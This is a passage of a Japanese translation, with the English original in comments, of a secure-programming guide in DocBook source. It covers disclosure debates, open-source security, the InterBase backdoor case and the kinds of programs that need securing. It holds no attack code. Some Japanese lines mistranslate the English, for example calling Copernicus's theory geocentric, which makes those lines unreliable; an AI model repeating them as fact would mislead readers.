脆弱性に対しての警告を発したり、脆弱性について議論したりしない方が良い、
という主張がなされる時もあります。
この説は理屈上はもっともらしいのですが、問題は攻撃側が既にありとあらゆる
経路を通じて、脆弱性についての情報を流してしまっているという点です。
つまり、そのようなアプローチでは防御側が脆弱なままで、攻撃側をまったく抑え
込めません。
これまで企業は、脆弱性があからさまになるのを必死に隠し通そうとしてきました。
しかし実績を見てみると、おおかたの企業はユーザに広く知れ渡るまで脆弱性を
修正しませんでした(脆弱性を修正したと主張できたのにもかからわず)。
これは「全面開示」が必要であることの論拠になっています。
Gartner グループは CNET.com での記事「Commentary: Hype is the real issue 
- Tech News」で率直にコメントしています。
<blockquote>
<para>
   <!--
	 The  comments  of  Microsoft's  Scott  Culp,  manager of the company's
   security  response  center,  echo  a common refrain in a long, ongoing
   battle   over  information.  Discussions  of  morality  regarding  the
   distribution of information go way back and are very familiar. Several
   centuries  ago,  for  example, the church tried to squelch Copernicus'
   and  Galileo's  theory  of  the  sun  being at the center of the solar
   system...

  Culp's  attempt  to blame "information security professionals" for the
   recent  spate  of  vulnerabilities  in  Microsoft  products is at best
   disingenuous.  Perhaps,  it  also  represents  an  attempt  to deflect
   criticism from the company that built those products...
   
   [The] efforts of all parties contribute to a continuous
   process  of improvement. The more widely vulnerabilities become known,
   the more quickly they get fixed.
	 -->
   Microsoft の security response center のマネージャである Scott Culp 
	 氏は、情報について長年言い争われていることに対し、オウムのようにお決まり
	 の文句を並べています。情報の配布についての道義的な議論は何度も繰り返され、
	 既にお馴染みになっています。たとえば、数世紀前に教会はコペルニクスと
	 ガリレオの天動説を弾圧しようしましたが...。

   Culp 氏は Microsoft の製品で最近続発している脆弱性について「情報セキュリ
	 ティの専門家」を非難しようとしていますが、これは単に不誠実なだけです。
	 製品を製造した企業への批判を反らそうとする試みを象徴しているとも言え
   ますが...。

   関係者すべてが本当に努力すべきことは、改善のプロセスを途切れなく行うこと
	 です。より広範に脆弱性が知られれば、より速やかに修正ができます。

</para>
</blockquote>
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://technews.netscape.com/news/0-1003-201-7573979-0.html -->
<!-- Here's the entire text of the article:
   The  comments  of  Microsoft's  Scott  Culp,  manager of the company's
   security  response  center,  echo  a common refrain in a long, ongoing
   battle   over  information.  Discussions  of  morality  regarding  the
   distribution of information go way back and are very familiar. Several
   centuries  ago,  for  example, the church tried to squelch Copernicus'
   and  Galileo's  theory  of  the  sun  being at the center of the solar
   system,  and in the 20th century Darwin's writings about the theory of
   evolution were banned in a number of states in the United States.

  Culp's  attempt  to blame "information security professionals" for the
   recent  spate  of  vulnerabilities  in  Microsoft  products is at best
   disingenuous.  Perhaps,  it  also  represents  an  attempt  to deflect
   criticism from the company that built those products.
   
   Culp  has  also  manufactured  some  new numbers related to the losses
   suffered  by  companies  because of the vulnerabilities in Microsoft's
   Internet  Information  Server  (IIS).  Culp  says the losses amount to
   billions  of  dollars.  Gartner  believes  that  hype  associated with
   security  risks  is  the  real problem, and that companies engaging in
   hype are culpable.
                     
   Security  firms  and  professionals  have already begun to cut back on
   self-serving press releases and hyperbole while they also research and
   discover   new   vulnerabilities   and   responsibly  disseminate  new
   information.  Thus,  to criticize those contributions to awareness and
   early  warning while using unfounded numbers to make a point is a shot
   gone  astray  in  the  ongoing  battle between information freedom and
   control.

   In  truth,  the  responsibility  for information security falls to the
   entire  IT  community - - software  companies, security firms, businesses
   and  individuals.  None  should  shoulder the whole blame for security
   lapses.  Rather, the efforts of all parties contribute to a continuous
   process  of improvement. The more widely vulnerabilities become known,
   the more quickly they get fixed.
-->
</para>

<para>
<!--
It's sometimes argued that open source programs, because there's no
enforced control by a single company, permit people to insert Trojan
Horses and other malicious code.
Trojan horses can be inserted into open source code, true, but they
can also be inserted into proprietary code.
A disgruntled or bribed employee can insert malicious code, and
in many organizations it's much less likely to be found than in an
open source program.
After all,
no one outside the organization can review the source code, and few
companies review their code internally (or, even if they do, few can
be assured that the reviewed code is actually what is used).
And the notion that a closed-source company can be sued later has little
evidence; nearly all licenses disclaim all warranties, and courts have
generally not held software development companies liable.
-->
オープンソースのプログラムは、単独の企業が管理を強制していないため、誰かが
トロイの木馬や悪意あるコードを潜り込ませることができる、という主張が時として
なされます。
確かにトロイの木馬はオープンソースのコードに入れ込むことは可能です。
しかし同じように商用のコードにも潜り込ませられます。
従業員の中で、不満を抱えていたり、競争相手から賄賂を受けていたりしている者
が、悪意あるコードを潜り込ませるかもしれません。また組織の多くでは、オープン
ソースであるプログラムのように、問題を発見できそうにありません。
なにしろ組織外の人間は、誰もソースコードをレビューできないわけですし、
社内でコードをレビューしている企業は、ごく少数に過ぎないからです
(レビューを行っていたとしても、レビューしたコードが実際に使用されるという
保証は、ほとんどありません)。
オープンソースで無い企業を後で訴えられる、という考えもほとんど根拠がない
ことに注意してください。ライセンスのほとんどすべては、押し並べて保証という
ものを放棄しており、裁判所は普通、ソフトウェア開発会社に責任を負わせません。
</para>

<para>
<!--
Borland's InterBase server is an interesting case in point.
Some time between 1992 and 1994, Borland inserted an intentional
``back door'' into their database server, ``InterBase''.
This back door allowed any local or remote user to
manipulate any database object and install arbitrary programs, and
in some cases could lead to controlling the machine as ``root''.
This vulnerability stayed in the product for at least 6 years - no one else
could review the product, and Borland had no incentive to remove the
vulnerability.
Then Borland released its source code on July 2000.
The "Firebird" project began working with the source code, and
uncovered this serious security problem
with InterBase in December 2000.
By January 2001 the CERT announced the existence of this back door as
<ulink url="http://www.cert.org/advisories/CA-2001-01.html">CERT
advisory CA-2001-01</ulink>.
What's discouraging is that the backdoor can be easily found simply by
looking at an ASCII dump of the program (a common cracker trick).
Once this problem was found by open source developers reviewing
the code, it was patched quickly.
You could argue that, by keeping the password unknown,
the program stayed safe, and that opening the source made
the program less secure.
I think this is nonsense, since ASCII dumps are trivial to do and well-known
as a standard attack technique, and not all attackers have sudden
urges to announce vulnerabilities - in fact, there's no way to be
certain that this vulnerability has not been exploited many times.
It's clear that after the source was opened, the source code was
reviewed over time, and the vulnerabilities found and fixed.
One way to characterize this is to say that the original code was
vulnerable, its vulnerabilities became easier to exploit
when it was first made open source,
and then finally these vulnerabilities were fixed.
-->
Borland の InterBase サーバの件は、この点で興味深いケースです。
1992 から 1994 年という長い間、Borland は故意に「バックドア」を「InterBase」
というデータベース・サーバにしかけていました。
このバックドアは、ローカル、リモート両ユーザがあらゆるデータベース・オブジェ
クトの操作ができ、任意のプログラムをインストールできてしまい、場合によっては
「root」としてそのマシンを制御できてしまうというものでした。
この脆弱性は少なくとも 6 年もの間、製品に含まれたままでした。誰もこの製品を
レビューできず、Borland はその脆弱性を取り除くつもりもありませんでした。
Borland は 2000 年 7 月にソースコードを公開しました。
「Firebird」プロジェクトがそのソースコードとともに立ち上がり、2000 年 
12 月 に InterBase のこの重大なセキュリティ上の問題が露見しました。
2001 年 1 月に CERT はこのバックドアの存在を <ulink 
url="http://www.cert.org/advisories/CA-2001-01.html">CERT advisory 
CA-2001-01</ulink> として公表しました。
あきれたことに、そのバックドアはプログラムの ASCII ダンプ(クラッカー
がよく使う手)をちょっと眺めただけで発見できるようなものでした。
この問題はオープンソースの開発者がコードをレビューすることで発見され、
すみやかにパッチが当てられました。
パスワードを知られなければプログラムは安全なままで、ソースを公開する
とプログラムが安全でなくなると主張されるかもしれません。
私はそれは無意味だと考えます。ASCII ダンプは平凡で良く知られた攻撃手段
の 1 つです。攻撃者すべてが脆弱性を突然公開する衝動に駆られるわけではあり
ませんし、実際のところ、その脆弱性が何度にも渡って悪用されなかった、という
確かな証拠はありません。
はっきりしていることは、ソースが公開された後、ソースコードが何回もレビュー
され、脆弱性が見つかって修正された、ということだけです。
この状況をまとめると、オリジナルのコードに脆弱性があり、オープンソース
になるやいなや簡単にその脆弱性が発見され、最終的には修正されたということ
です。

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!--
     The 1992-1994 date is from
      http://slashdot.org/articles/01/01/11/1318207.shtml
  The December 2000 and other info is from:
  http://firebird.ibphoenix.com/home.nfs?a=ibphoenix&amp;s=979248432:339&amp;page=starkey
-->
</para>

<para>
<!--
The advantages of having source code open extends not just to software
that is being attacked, but also extends to vulnerability assessment
scanners.
Vulnerability assessment scanners intentionally look for vulnerabilities
in configured systems.
A recent Network Computing evaluation found that the best scanner
(which, among other things, found the most legitimate vulnerabilities)
was Nessus, an open source scanner [Forristal 2001].
-->
ソースコードをオープンにする利点は、攻撃を受けるソフトウェアが増えない
ということではなく、脆弱性を走査し評価する機会が増えるということです。
脆弱性を走査し評価するには、設定済みのシステムで意図的に脆弱性を探し出します。
最近になって Network Computing evaluation は、最高の走査ツール(数ある脆弱性
の中でも最も悪質な脆弱性を発見した)は、オープンソースの走査ツールである 
Nessus としました[Forristal 2001]。
</para>

<para>
<!--
So, what's the bottom line?
I personally believe that when a program is first made open source, it
often starts less secure for any users (through exposure of
vulnerabilities), and over time (say a few years) it has
the potential to be much more secure than a closed program.
Just making a program open source doesn't suddenly make a program secure,
and making an open source program secure is not guaranteed:
-->
いったい結論は何なのでしょう。
個人的には、プログラムというものがまずオープンソースとして作られると、最初
はユーザにとって安全性が低くても(脆弱性があらわになっても)、時を経るに
したがって(数年程度)、オープンでないプログラムよりもさらに安全になる可能性
があると考えています。
プログラムをただオープンソースにするだけでは、すぐには安全になりませんし、
オープンソースなプログラムにすることで、安全になる保証もありません。
<itemizedlist>
<listitem><para>
<!--
First, people have to actually review the code.
This is one of the key points of debate - will people really
review code in an open source project?
All sorts of factors can reduce the amount of review:
being a niche or rarely-used product (where there are few potential reviewers),
having few developers, and use of a rarely-used computer language.
Clearly, a program that has a single developer and no other contributors
of any kind doesn't have this kind of review.
On the other hand, a program that has a primary author and many other
people who occasionally examine the code and contribute suggests that there
are others reviewing the code (at least to create contributions).
In general, if there are more reviewers, there's generally a higher likelihood
that someone will identify a flaw - this is the basis of the
``many eyeballs'' theory.
-->
まず実際にコードをレビューしなければいけません。
これは議論において重要な点の 1 つです。現実的にオープンソースなプロジェクトで
あれば、コードはレビューされるのでしょうか。
レビューを受ける回数が少なくなる要因はいろいろとあります。
ニッチでほとんど利用されない製品(レビューアの存在が期待できない)や開発者
がほとんどいない場合、まれにしか使われないコンピュータ言語がそれにあたります。
開発者が一人で協力者がいないプログラムは、間違いなくこの手のレビューを受けら
れません。
その一方でプログラムの中には、中心となる作者が存在しかつ、ちょくちょくコード
を調べたり、他の人間が行ったレビュー(少なくとも貢献にはなっている)を提案したり
するメンバーがたくさん関っている場合もあります。
一般的にレビューアがたくさんいればいるほど、誰かが欠点を見つけ出す可能性
がより高くなります。これは「たくさんの眼」理論の基本です。

</para>
<para>
<!--
One factor that can particularly reduce review likelihood is not actually
being open source.
Some vendors like to posture their ``disclosed source''
(also called ``source available'') programs as
being open source, but since the program owner has extensive exclusive rights,
others will have far less incentive to work ``for free'' for the owner
on the code.
Even open source licenses which have unusually
asymmetric rights (such as the MPL) have this problem.
After all, people are less likely to voluntarily participate
if someone else will have rights to their results that they don't have
(as Bruce Perens says, ``who wants to be someone else's unpaid employee?'').
In particular,
since the reviewers with the most incentive tend to be people trying to modify
the program, this disincentive to participate reduces the number of
``eyeballs''.
Elias Levy made this mistake in his article about open source
security; his examples of software that had been broken into
(e.g., TIS's Gauntlet) were not, at the time, open source.
-->
オープンソースであること自体が、レビューを受ける見込みを著しく減らす要因
の 1 つになるわけではありません。
ベンダーの中には「開示されているソース(disclosed source)」(「ソースが存在する」
(source available)とも言う)プログラムをオープンソースだとポーズをとるところが
あります。しかしそのプログラムの
所有者はあいかわらず広範囲に独占的な権利を有しているので、「無償で」所有者の
ために働こうという意欲がある人はほとんどいないでしょう。
風変わりで変則的な権利形態をとる(MPL のような)オープンソースのライセンス
でさえ、問題を抱えています。
結局は、自分の成果に対して別の誰かが権利を持っているのであれば、ボランティア
で参加する可能性は低くなるということです(Bruce Perens 氏はこの点について、
「一体誰が好んでただ働きで雇われの身になるんだい？」と言っています)。
やる気が旺盛なレビューアは、プログラムも修正したがります。このやる気を削ぐ
ようなライセンスでは、たくさんの「眼」を失うことになります。
Elias Levy 氏はオープンソースのセキュリティに関する彼の論文の中でこの点で
間違いを犯しています。彼が分析したソフトウェア(例えば TIS の Gauntlet)は
当時オープンソースではなかったのです。
</para></listitem>
<listitem><para>
<!--
Second, at least some of the people developing and
reviewing the code must know how to write secure
programs.
Hopefully the existence of this book will help.
Clearly, it doesn't matter if there are ``many eyeballs'' if none of the
eyeballs know what to look for.
Note that it's not necessary for everyone to know how to write
secure programs, as long as those who do know how are examining the
code changes.
-->
第二に、コードを書いたり、少なくともレビューしたりする人の中に、安全なプログラムの
書き方を理解している必要があります。
できれば、この文書が役に立てばと願っています。
「たくさんの眼」があっても、何を見つけだすかを知らなければ、何にもなりません。
理解している人たちがいる限りは、みんながみんな安全なプログラムの書き方を知らなくても
かまわない、という点に気をつけてください。

</para></listitem>
<listitem><para>
<!--
Third, once found, these problems need to be fixed quickly
and their fixes distributed.
Open source systems tend to fix the problems quickly, but the distribution
is not always smooth.
For example, the OpenBSD developers do an excellent job of reviewing code for
security flaws - but they don't always report the identified
problems back to the original developer.
Thus, it's quite possible for there to be a fixed version in one system,
but for the flaw to remain in another.
-->
第三に、一度問題が見つかったなら、すみやかに修正してそれを配布しなければ
いけません。
オープンソースのシステムでは、速やかに問題が修正される傾向にありますが、
スムーズに配布されるとは限りません。
たとえば、OpenBSD の開発者たちはセキュリティ上の欠陥をレビューするのに
長けています。しかし、確認した問題点をオリジナルの開発者にいつもフィード
バックするとは限りません。
つまりあるシステムのあるバージョンを修正するのには都合が良いのですが、他の
システムは直されないままになってしまいます。
</para></listitem>
</itemizedlist>
<!--
Another advantage of open source is that, if you find a problem, you can
fix it immediately.
-->
オープンソースのもう 1 つの長所は、問題をみつけたなら、あなたがそれをすぐ
に修正できるということです。
</para>

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!--
 Could quote some numbers.  More NT than Linux vulnerabilities found in 2000;
 more NT web sites defaced, too.  But it's hard to really quantify.
-->

<para>
<!--
In short, the effect on security of open source software
is still a major debate in the security community, though a large number
of prominent experts believe that it has great potential to be
more secure.
-->
つまり、オープンソース・ソフトウェアのセキュリティへの影響度合いは、
セキュリティ界でまだ広範囲に渡って議論している最中です。しかし、著名な専門家
の多くはより安全になる可能性が大であると考えています。
</para>

</sect1>

<sect1 id="types-of-programs">
<!-- <title>Types of Secure Programs</title> -->
<title>安全なプログラムの種類</title>

<para>
<!--
Many different types of programs may need to be secure programs
(as the term is defined in this book).
Some common types are:
-->
安全にする必要があるプログラムは、多岐に渡ります(用語については、この文書
で定義します)。
一般的な種類を下記にいくつかあげます。

<itemizedlist>
<listitem>
<para>
<!--
Application programs used as viewers of remote data.
Programs used as viewers (such as word processors or file format viewers)
are often asked to view data sent remotely by an untrusted user
(this request may be automatically invoked by a web browser).
Clearly, the untrusted
user's input should not be allowed to cause the application
to run arbitrary programs.
It's usually unwise to support initialization macros (run when the data
is displayed); if you must, then you must create a secure sandbox
(a complex and error-prone task that almost never succeeds, which is why
you shouldn't support macros in the first place).
Be careful of issues such as buffer overflow, discussed in
<xref linkend="buffer-overflow">, which might
allow an untrusted user to force the viewer to run an arbitrary program.
-->
離れた所にあるデータを閲覧する場合に利用するアプリケーション・プログラム。
ビューアーとして利用するプログラム(ワード・プロセッサやファイル・フォーマット
を見るためのビューアー)では、信頼できないユーザが、離れた場所から閲覧する
データを送るように求めることがよくあります(このリクエストは Web ブラウザが
自動的に実行する可能性があります)。
はっきりしていることは、信頼できないユーザの入力によって、アプリケーションが
任意のプログラムを実行してしまってはいけない、ということです。初期化マクロ
(データを表示する時に実行する)をサポートするのは浅はかです。サポートせざるを
得ないなら、必ず安全のためのサンドボックスを作成してください(サンドボックス
を作る作業は複雑かつ間違いを起こしやすいので、うまくいくとは限りません。
したがって、はなからマクロをサポートするべきではないのです)。
<xref linkend="buffer-overflow"> で議論するバッファオーバーフローのような
問題についても、注意が必要です。この問題は、信頼できないユーザがビューアーを
使って、任意のプログラムを強制的に動かせるようにしてしまいます。
【訳註：サンドボックス(sandbox)とは、制限付きで保護されたメモリ領域。
この領域で動くアプリケーションは、システムにダメージを与えないように設計、
動作します】
</para>
</listitem>

<listitem>
<para>
<!--
Application programs used by the administrator (root).
Such programs shouldn't trust information that can be controlled
by non-administrators.
-->
システム管理者(root)が使用するアプリケーション・プログラム。
そのようなプログラムは、システム管理者以外が制御できてしまうデータを信頼すべき
ではありません。
</para>
</listitem>

<listitem>
<para>
<!-- Local servers (also called daemons).  -->
ローカルでサービスを行うサーバ(デーモンとも呼びます)。
</para>
</listitem>

<listitem>
<para>
<!-- Network-accessible servers (sometimes called network daemons).  -->
ネットワーク経由でアクセスするサーバ(ネットワーク・デーモンという場合
もあります)。

</para>
</listitem>

<listitem>
<para>
<!--
Web-based applications (including CGI scripts).
These are a special case of network-accessible servers, but they're
so common they deserve their own category.
Such programs are invoked indirectly via a web server, which filters out
some attacks but nevertheless leaves many attacks that must be withstood.
-->
Web ベースのアプリケーション(CGI スクリプトもその一部)。
これらのアプリケーションは、ネットワーク経由でアクセスするサーバとしては
特殊なケースです。しかし、あまりにも普及しているので、これだけで一分野を作る
価値があります。
この分野に属するプログラムは、Web サーバを経由して間接的に実行され、フィルタ
される攻撃も中にはありますが、防御すべきでありながら、多くはなすがままに
なっています。
</para>
</listitem>

<listitem>
<para>
<!--
Applets (i.e., programs downloaded to the client for automatic execution).
This is something Java is especially famous for, though other languages
(such as Python) support mobile code as well.
There are several security viewpoints here; the implementer of the
applet infrastructure on the client side has to make sure that the
only operations allowed are ``safe'' ones, and the writer of an applet has
to deal with the problem of hostile hosts (in other words, you can't
normally trust the client).
There is some research attempting to deal with running applets on
hostile hosts, but frankly
I'm skeptical of the value of these approaches
and this subject is exotic enough that I don't cover it further here.
-->
アプレット(すなわち、クライアントにダウンロードされ、自動的に実行するもの)。
Java がとりわけ有名ですが、他の言語(たとえば Python)も同様にモバイル・コード
をサポートしています。
ここにセキュリティ上重要な点がいくつかあります。それは、クライアント側で
アプレットの実行機構を実装した人が、「安全な」オペレーションをだけを確実に
実行するようにしているか、という点とアプレット作成者が、悪意のあるホストの
問題(つまりクライアントは普通信頼できない)に対処しなければいけない点です。
悪意のあるホスト上で、アプレットを問題なく動かす研究がいくつかありますが、
正直言って、この解決方法は疑問です。斬新なテーマなので、ここではこれ以上
触れません。
【訳註：モバイル・コードは、クライアントプログラム(たとえば Web ブラウザ)
が相手のシステム(たとえば Web サーバ等)からダウンロードし、自動的に実行
されるプログラム全般を指します】
</para>
</listitem>

<listitem>
<para>
<!--
setuid/setgid programs.
These programs are invoked by a local user and, when executed, are
immediately granted the privileges of the program's owner and/or
owner's group.
In many ways these are the hardest programs to secure, because so many
of their inputs are under the control of the untrusted user and some
of those inputs are not obvious.
-->
setuid や setgid したプログラム。
これらのプログラムは、ローカルにいるユーザが実行します。実行されるやいなや
そのプログラムのオーナーもしくはオーナーのグループ(もしくはその両方)の権限
が与えられます。
いろいろな意味で、これらは最も安全にしにくいプログラムです。それは入力の
大部分が信頼できないユーザが制御していて、その入力自体も疑いがあるからです。

</para>
</listitem>

</itemizedlist>

</para>

<para>
<!--
This book merges the issues of these different types of program into
a single set.
The disadvantage of this approach is that some of the issues identified
here don't apply to all types of programs.
In particular, setuid/setgid programs have many surprising inputs and several
of the guidelines here only apply to them.
However, things are not so clear-cut, because 
a particular program may cut across these boundaries (e.g., a CGI script
may be setuid or setgid, or be configured in a way that has the same effect),
and some programs are divided into several executables each of which
can be considered a different ``type'' of program.
The advantage of considering all of these program types together is that we can
consider all issues without trying to apply an inappropriate category
to a program.
As will be seen, many of the principles apply to all programs that
need to be secured.
-->
この文書は、さまざまな種類のプログラムの課題をひとまとめにして扱っています。
このやり方には欠点があります。それは、ここで扱う問題点には、プログラム全種類
へ適用できないものがある点です。
特に setuid や setgid したプログラムは、思いがけないさまざまな入力があり、
ガイドラインには setuid や setgid したプログラムだけに当てはまるものも
あります。
しかし、実際はそんなに区別がはっきりしているわけではなく、あるプログラムでは
この範疇を越えるものもあります(たとえば CGI スクリプトは setuid や setgid 
されたり、同じような影響がある方法で設定してあったりします)。また実行形式が
いくつにも分かれていて、そのそれぞれが異なる「種類」のプログラムになっている
場合もあります。
さまざまな種類のプログラムをひとまとめにして検討する利点は、あるカテゴリに
プログラムを無理に当てはめることなく、問題を包括的に検討できる点にあります。
こうして見ていくことで、安全が求められるプログラムすべてに対して、原則が当て
はまるケースが多いことがわかります。
</para>

<para>
<!--
There is a slight bias in this book toward programs written in
C, with some notes on other languages such as C++, Perl, PHP, Python, Ada95, and
Java.
This is because C is the most common language for
implementing secure programs on Unix-like systems
(other than CGI scripts, which tend to use languages such as
Perl, PHP, or Python).
Also, most other languages' implementations call the C library.
This is not to imply that C is somehow the ``best'' language for this purpose,
and most of the principles described here apply regardless of the
programming language used.
-->
この文書は、C で書いたプログラムに多少偏っています。C++ や Perl、PHP、Python、
Ada95、Java のような他の言語についても、多少は扱っています。
これは Unix ライクなシステムでは C が安全なプログラムを実装する言語として
最も普及しているためです(CGI は例外で、Perl や PHP、Python をよく使います)。
また C 以外の言語の大部分は、 C のライブラリを呼び出すように作られています。
これをもって C が安全なプログラムを作るという目的に「最良の」言語である、
ということにはなりません。ここで述べられる原則の大部分は、使用している言語の
いかんにかかわらず当てはまります。

</para>

</sect1>

<sect1 id="paranoia">
<!-- <title>Paranoia is a Virtue</title> -->
<title>疑い深く、こだわりが強いことに価値がある</title>

<para>
<!--
The primary difficulty in writing secure programs is that
writing them requires a different mind-set, in short, a paranoid mind-set.
The reason is that the impact of errors (also called defects or bugs)
can be profoundly different.
-->
安全なプログラムを書くのに当たって一番やっかいな点は、作成者が思考回路を
切り替えなければならないところにあります。つまり、疑い深く、こだわりを強く
持つ必要があることです。
エラー(欠陥とかバグとも言われています)が起こすシステムへの影響が、普通の
プログラムとはまったく違うからです。
</para>

<para>
<!--
Normal non-secure programs have many errors.
While these errors are undesirable, these errors usually 
involve rare or unlikely situations, and if a user should stumble upon
one they will try to avoid using the tool that way in the future.
-->
安全が必要とされていない普通のプログラムには、エラーがたくさんあります。
エラーは歓迎すべきものではありませんが、そう度々は起こらないのが普通で、
ありそうでありません。ユーザが万が一エラーに遭遇してしまっても、そのバグ
を何とか避けながら、利用し続けようとするでしょう。
</para>

<para>
<!--
In secure programs, the situation is reversed.
Certain users will intentionally search out and cause rare or unlikely
situations, in the hope that such attacks will give them unwarranted privileges.
As a result, when writing secure programs, paranoia is a virtue.
-->
安全が必要なプログラムではこの状況が一変します。
とあるユーザは、意図的にバグを捜し出し、ほとんど起こりそうもない状況を引き
起こします。そして、そのような攻撃で不当な権限を得ようとします。
という訳で、安全なプログラムを書く場合には、疑い深く、こだわりを強く持つこと
に価値がでるのです。
</para>

</sect1>

<sect1 id="why-write">
<!-- <title>Why Did I Write This Document?</title> -->
<title>このドキュメントを書いた訳は ?</title>
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???: Okay, this doesn't really belong here, but I can't figure out
     where else to put it.  I don't want the introduction to get longer. -->
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???: http://www.wired.com/news/politics/0,1283,34865,00.html
      "Developers Blasted on Security", Reuters, 8:45 a.m. Mar. 9, 2000 PST
      Rich Pethia stated to the U.S. Congress that
     "There is little evidence of improvement in the security features of most
             products,"
      "Developers are not devoting sufficient effort to apply lessons
                         learned about the sources of vulnerabilities."
     Richard D. Pethia is manager of the SEI Survivable Systems
     Initiative and first manager of the CERT Coordination Center (CERTョ/CC).
     (see Spotlight . Volume 1 . Issue 3 . December 1998,
      "Interview with Richard D. Pethia" by Bill Pollak at
      http://interactive.sei.cmu.edu/Features/1998/December/Spotlight/spotlight_dec98.htm
      This interview states "The problem that I see is at the implementation
      level - the code that's going out today is just as buggy as the code
      that went out 10 years ago."


??? : Somehow add:
"A secure and Open society"
August 27, 1999
by  Michael MacMillan
http://www.itworldcanada.com/cw/archive/cw15-17/cw_wtemplate.cfm?filename=c1517n8.htm
 ITworldcanada.com
(interview with  Theo de Raadt,
head of the OpenBSD project, which is focused on security.
The problem with professional programmers is not a lack of ability,
but lack of attention to detail, he said.
...
The secret is straightforward - de Raadt and his peers assume that
every single bug found in the code occurs elsewhere.
de Raadt admits it sounds simple, but just rooting security bugs
out of the entire source tree took 10 full-time developers
one and a half years to complete.
"It?s a hell of a lot of work and I think that explains why it hasn't
been done by many people," he said.  www.openbsd.org.

???: add info about smartcards, e.g., how to code algorithms so the
key won't be exposed by power fluctuations.

-->


<para>
<!--
One question I've been asked is ``why did you write this book''?
Here's my answer:
Over the last several years I've noticed that many developers for
Linux and Unix
seem to keep falling into the same security pitfalls, again and again.
Auditors were slowly catching problems, but it would have been better
if the problems weren't put into the code in the first place.
I believe that part of the problem was that there wasn't a single, obvious
place where developers could go and get information on how to avoid
known pitfalls.
The information was publicly available, but it was often hard to find,
out-of-date, incomplete, or had other problems.
Most such information didn't particularly discuss Linux at all, even
though it was becoming widely used!
That leads up to the answer: I developed this book
in the hope that future software developers won't repeat
past mistakes, resulting in more secure systems.
You can see a larger discussion of this at
<ulink
url="http://www.linuxsecurity.com/feature_stories/feature_story-6.html">http://www.linuxsecurity.com/feature_stories/feature_story-6.html</ulink>.
-->
「どうしてこのドキュメントを書いたのか？」と質問を受けるのですが、私の答えは
下記の通りです。
ここ数年来、Linux や Unix のデベロッパーは同じようなセキュリティ上の落し穴に
何度もはまりこんでいるように思えます。
監査する側は、問題をとらえるのが早いとは言えません。しかしバグが最初から
コードに入っていなかったなら、もっと良かったはずです。
既知の落し穴にはまらない方法について、ここさえ見れば、という共通の所がない
ところに問題の一端があると考えています。
情報は公開されているのですが、その情報を捜し出すのが困難だったり、古くなって
いたり、不十分だったり、別の問題を含んでいたりします。
またそのような情報の大部分には Linux が広く利用されているにもかかわらず、
Linux に焦点を当てた議論がまったくありません。
このような背景から、ソフトウェアの開発者が過去の過ちを今後繰り返さず、
システムがより安全となることを願って、このドキュメントを書きました。
この点についてさらに知りたければ、<ulink
url="http://www.linuxsecurity.com/feature_stories/feature_story-6.html">http://www.linuxsecurity.com/feature_stories/feature_story-6.html</ulink> 
を参照してください。

</para>

<para>
<!--
A related question that could be asked is ``why did you write your own book
instead of just referring to other documents''?
There are several answers:
-->
これと関連した質問に「他のドキュメントを参照するのに留めずに、どうして自分
自身でドキュメントを書いたのか？」というものもあります。
答えはいくつかあります。

<itemizedlist>
<listitem>

<para>
<!--
Much of this information was scattered about; placing 
the critical information in one organized document
makes it easier to use.
-->
情報の多くは、あちこちに散在しています。重要な情報を体系的なドキュメント
にまとめれば、利用しやすくなります。
</para>
</listitem>
<listitem>

<para>
<!--
Some of this information is not written for the programmer, but
is written for an administrator or user.
-->
情報の中にはプログラマ向けではなく、システム管理者やユーザ向けの情報
もあります。
</para>
</listitem>
<listitem>

<para>
<!--
Much of the available information emphasizes portable constructs
(constructs that work on all Unix-like systems), and
failed to discuss Linux at all.
It's often best to avoid Linux-unique abilities for portability's sake,
but sometimes the Linux-unique abilities can really aid security.
Even if non-Linux portability is desired, you may want to support
the Linux-unique abilities when running on Linux.
And, by emphasizing Linux, I can include references to information that
is helpful to someone targeting Linux that is not necessarily true for
others.
-->
入手可能な情報は、システム間で共通な要素(Unix ライクなシステムすべてで動作
する)に重点をおいている場合が多く、Linux についてはまったく論じられていません。
移植性の点からすれば、Linux 固有の機能に触れるのを避けるのが確かに賢明です。
しかし Linux に固有の機能を使えば、セキュリティが確実に向上する場合があります。
Linux 以外への移植性が要求されても、Linux が動いていれば固有の機能を使いたく
なるかもしれません。
そして Linux を中心として、Linux を対象としている人々に役に立つ情報への
参照を入れることがあります。その情報が他には必ずしも役立つとはいえないと
してもです。
</para>
</listitem>

</itemizedlist>

</para>

</sect1>

<sect1 id="sources-of-guidelines">
<!-- <title>Sources of Design and Implementation Guidelines</title> -->
<title>設計と実装の指針についての情報源</title>

<para>
<!--
Several documents help describe how to write
secure programs (or, alternatively, how to find security problems in
existing programs), and were the basis for the guidelines highlighted
in the rest of this book.
-->
安全なプログラムを書く方法(あるいは、既存のプログラムのセキュリティ上の
問題点をどのように発見するのか)について、役立つドキュメントがいくつか
あります。またそれらのドキュメントは、このドキュメントでガイドラインとして
これから明確にしていく項目の根拠にもなっています。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???: Add http://securityparadigm.com's "Computer Vulnerabilities" notes -->
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???: Add http://www.linuxhelp.org/lsap.shtml alternatively
    http://ferret.lmh.ox.ac.uk/~security
    Security-Audit's Frequently Asked Questions
     v 1.9 2000/03/21 01:01:08, Jeff Graham <lsap@demit.net> -->
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- I added fish (Dan Farmer's) refs at http://www.fish.com/security -->
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???  Really need to emphasize the risks of symbolic/hard links, esp.
     shared directories, such as /tmp.  Symbolic links to /dev/zero can
     really do bad things, symbolic links to /etc/passwd is of course
     an ancient attack.  -->
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ??? Mention "terminal" and the possibility of retransmission back -->
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???: Traverse the Bugtraq archives, CERT advisories,
     MITRE's CVE at http://cve.mitre.org etc.
     to make sure I've covered the important stuff and pull out good
     examples/stories.  -->
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???: Add info and reference to
  Landwehr 1994.  Landwehr, Carl E., Alan R. Bull, John P. McDermott,
  and William S. Choi.  September 1994.
